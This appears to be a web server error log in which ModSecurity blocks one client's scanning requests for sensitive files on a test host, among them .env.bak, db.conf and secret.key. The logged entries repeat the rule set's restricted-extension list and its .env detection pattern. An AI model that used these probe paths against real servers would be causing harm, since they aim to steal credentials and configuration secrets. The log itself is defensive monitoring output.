[Thu Feb 26 01:03:38.101149 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/settings.ini&quot;] [unique_id &quot;aZ-N2g3HqGC30X9HPoElxgAAAAM&quot;]
[Thu Feb 26 01:03:38.101323 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/settings.ini&quot;] [unique_id &quot;aZ-N2g3HqGC30X9HPoElxgAAAAM&quot;]
[Thu Feb 26 01:03:38.153174 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/db.conf&quot;] [unique_id &quot;aZ-N2g3HqGC30X9HPoElyAAAAAM&quot;]
[Thu Feb 26 01:03:38.153750 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/db.conf&quot;] [unique_id &quot;aZ-N2g3HqGC30X9HPoElyAAAAAM&quot;]
[Thu Feb 26 01:03:38.153929 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/db.conf&quot;] [unique_id &quot;aZ-N2g3HqGC30X9HPoElyAAAAAM&quot;]
[Thu Feb 26 01:03:38.156907 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/db.conf&quot;] [unique_id &quot;aZ-N2ik1SHHL9bIjTI-QuAAAAAU&quot;]
[Thu Feb 26 01:03:38.157448 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/db.conf&quot;] [unique_id &quot;aZ-N2ik1SHHL9bIjTI-QuAAAAAU&quot;]
[Thu Feb 26 01:03:38.157624 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/db.conf&quot;] [unique_id &quot;aZ-N2ik1SHHL9bIjTI-QuAAAAAU&quot;]
[Thu Feb 26 01:03:38.178005 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/sql.conf&quot;] [unique_id &quot;aZ-N2g3HqGC30X9HPoElyQAAAAM&quot;]
[Thu Feb 26 01:03:38.178545 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/sql.conf&quot;] [unique_id &quot;aZ-N2g3HqGC30X9HPoElyQAAAAM&quot;]
[Thu Feb 26 01:03:38.178700 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/sql.conf&quot;] [unique_id &quot;aZ-N2g3HqGC30X9HPoElyQAAAAM&quot;]
[Thu Feb 26 01:03:38.188439 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/sql.conf&quot;] [unique_id &quot;aZ-N2ik1SHHL9bIjTI-QuQAAAAU&quot;]
[Thu Feb 26 01:03:38.188980 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/sql.conf&quot;] [unique_id &quot;aZ-N2ik1SHHL9bIjTI-QuQAAAAU&quot;]
[Thu Feb 26 01:03:38.189135 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/sql.conf&quot;] [unique_id &quot;aZ-N2ik1SHHL9bIjTI-QuQAAAAU&quot;]
[Thu Feb 26 01:03:38.217269 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aZ-N2ik1SHHL9bIjTI-QugAAAAU&quot;]
[Thu Feb 26 01:03:38.217562 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aZ-N2ik1SHHL9bIjTI-QugAAAAU&quot;]
[Thu Feb 26 01:03:38.217805 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aZ-N2ik1SHHL9bIjTI-QugAAAAU&quot;]
[Thu Feb 26 01:03:38.217958 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aZ-N2ik1SHHL9bIjTI-QugAAAAU&quot;]
[Thu Feb 26 01:03:38.236287 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aZ-N2g3HqGC30X9HPoElygAAAAM&quot;]
[Thu Feb 26 01:03:38.236605 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aZ-N2g3HqGC30X9HPoElygAAAAM&quot;]
[Thu Feb 26 01:03:38.236851 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aZ-N2g3HqGC30X9HPoElygAAAAM&quot;]
[Thu Feb 26 01:03:38.237012 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aZ-N2g3HqGC30X9HPoElygAAAAM&quot;]
[Thu Feb 26 01:03:38.349022 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/secret.key&quot;] [unique_id &quot;aZ-N2ik1SHHL9bIjTI-QvgAAAAU&quot;]
[Thu Feb 26 01:03:38.349504 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/secret.key&quot;] [unique_id &quot;aZ-N2ik1SHHL9bIjTI-QvgAAAAU&quot;]
[Thu Feb 26 01:03:38.349651 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/secret.key&quot;] [unique_id &quot;aZ-N2ik1SHHL9bIjTI-QvgAAAAU&quot;]
[Thu Feb 26 01:03:38.387958 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/secret.key&quot;] [unique_id &quot;aZ-N2g3HqGC30X9HPoElzgAAAAM&quot;]
[Thu Feb 26 01:03:38.388464 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/secret.key&quot;] [unique_id &quot;aZ-N2g3HqGC30X9HPoElzgAAAAM&quot;]
[Thu Feb 26 01:03:38.388659 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/secret.key&quot;] [unique_id &quot;aZ-N2g3HqGC30X9HPoElzgAAAAM&quot;]
